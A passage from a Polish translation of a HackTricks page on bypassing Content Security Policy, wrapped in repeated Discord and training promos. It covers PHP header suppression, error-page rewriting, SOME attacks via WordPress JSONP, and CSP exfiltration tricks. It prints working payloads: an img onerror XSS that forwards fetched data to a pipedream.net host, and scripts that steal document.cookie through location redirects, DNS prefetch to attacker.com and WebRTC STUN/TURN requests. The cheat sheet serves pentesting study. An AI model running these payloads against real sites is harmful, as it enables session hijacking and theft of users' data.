Inna technika polega na wykorzystaniu samego CSP do wydedukowania tajnego subdomeny. Metoda ta opiera się na algorytmie wyszukiwania binarnego i dostosowywaniu CSP, aby uwzględnić konkretne domeny, które są celowo zablokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby zablokować lub zezwolić na te subdomeny. Oto fragment pokazujący, jak CSP może być skonfigurowane, aby ułatwić tę metodę:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Monitorując, które żądania są blokowane lub dozwolone przez CSP, można zawęzić możliwe znaki w tajnym subdomenie, ostatecznie odkrywając pełny URL.
Obie metody wykorzystują niuanse implementacji i zachowania CSP w przeglądarkach, pokazując, jak pozornie bezpieczne polityki mogą nieumyślnie ujawniać wrażliwe informacje.
Sztuczka z tutaj.
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hackerami i łowcami błędów!
Wgląd w Hacking
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
Aktualności Hackingowe w Czasie Rzeczywistym
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
Najnowsze Ogłoszenia
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy
Dołącz do nas na Discord i zacznij współpracować z najlepszymi hackerami już dziś!
Niebezpieczne Technologie do Ominięcia CSP
Błędy PHP przy zbyt wielu parametrach
Zgodnie z ostatnią techniką skomentowaną w tym wideo, wysyłanie zbyt wielu parametrów (1001 parametrów GET, chociaż można to również zrobić z parametrami POST i więcej niż 20 plikami). Każdy zdefiniowany header()
w kodzie PHP nie zostanie wysłany z powodu błędu, który to wywoła.
Przeciążenie bufora odpowiedzi PHP
PHP jest znane z buforowania odpowiedzi do 4096 bajtów domyślnie. Dlatego, jeśli PHP wyświetla ostrzeżenie, dostarczając wystarczająco dużo danych w ostrzeżeniach, odpowiedź zostanie wysłana przed nagłówkiem CSP, co spowoduje zignorowanie nagłówka.
Technika polega zasadniczo na wypełnieniu bufora odpowiedzi ostrzeżeniami, aby nagłówek CSP nie został wysłany.
Pomysł z tego opisu.
Przepisz stronę błędu
Z tego opisu wygląda na to, że możliwe było ominięcie ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej treści.
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOME to technika, która wykorzystuje XSS (lub mocno ograniczone XSS) w punkcie końcowym strony do wykorzystania innych punktów końcowych tej samej domeny. Dzieje się to poprzez załadowanie podatnego punktu końcowego z strony atakującego, a następnie odświeżenie strony atakującego do rzeczywistego punktu końcowego w tej samej domenie, który chcesz wykorzystać. W ten sposób podatny punkt końcowy może użyć obiektu opener
w ładunku do dostępu do DOM rzeczywistego punktu końcowego do wykorzystania. Aby uzyskać więcej informacji, sprawdź:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
Ponadto, wordpress ma punkt końcowy JSONP w /wp-json/wp/v2/users/1?_jsonp=data
, który odzwierciedli dane wysłane w odpowiedzi (z ograniczeniem do liter, cyfr i kropek).
Atakujący może wykorzystać ten punkt końcowy do wygenerowania ataku SOME przeciwko WordPressowi i osadzić go w <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
, zauważ, że ten skrypt zostanie załadowany, ponieważ jest dozwolony przez 'self'. Ponadto, ponieważ WordPress jest zainstalowany, atakujący może wykorzystać atak SOME poprzez podatny punkt końcowy callback, który obejmuje CSP, aby dać więcej uprawnień użytkownikowi, zainstalować nową wtyczkę...
Aby uzyskać więcej informacji na temat tego, jak przeprowadzić ten atak, sprawdź https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
Jeśli istnieje surowa CSP, która nie pozwala na interakcję z zewnętrznymi serwerami, istnieje kilka rzeczy, które zawsze możesz zrobić, aby wyekstrahować informacje.
Location
Możesz po prostu zaktualizować lokalizację, aby wysłać do serwera atakującego tajne informacje:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
Meta tag
Możesz przekierować, wstrzykując tag meta (to jest tylko przekierowanie, to nie ujawnia treści)
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS Prefetch
Aby ładować strony szybciej, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i przechowywać je w pamięci podręcznej do późniejszego użycia.
Możesz wskazać przeglądarkę, aby wstępnie rozwiązała nazwę hosta za pomocą: <link rel="dns-prefetch" href="something.com">
Możesz nadużyć tego zachowania, aby wyekstrahować wrażliwe informacje za pomocą zapytań DNS:
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
Inny sposób:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Aby uniknąć tego, serwer może wysłać nagłówek HTTP:
X-DNS-Prefetch-Control: off
{% hint style="info" %} Najwyraźniej ta technika nie działa w przeglądarkach bez interfejsu (boty) {% endhint %}
WebRTC
Na kilku stronach można przeczytać, że WebRTC nie sprawdza polityki connect-src
CSP.
W rzeczywistości możesz leak informacje używając żądania DNS. Sprawdź ten kod:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
Inna opcja:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
Sprawdzanie polityk CSP online
Automatyczne tworzenie CSP
https://csper.io/docs/generating-content-security-policy
Odniesienia
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
Dołącz do HackenProof Discord, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
Wgląd w hacking
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
Aktualności o hackingu w czasie rzeczywistym
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
Najnowsze ogłoszenia
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
Dołącz do nas na Discord i zacznij współpracować z najlepszymi hackerami już dziś!
{% hint style="success" %}
Ucz się i ćwicz hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do repozytoriów HackTricks i HackTricks Cloud.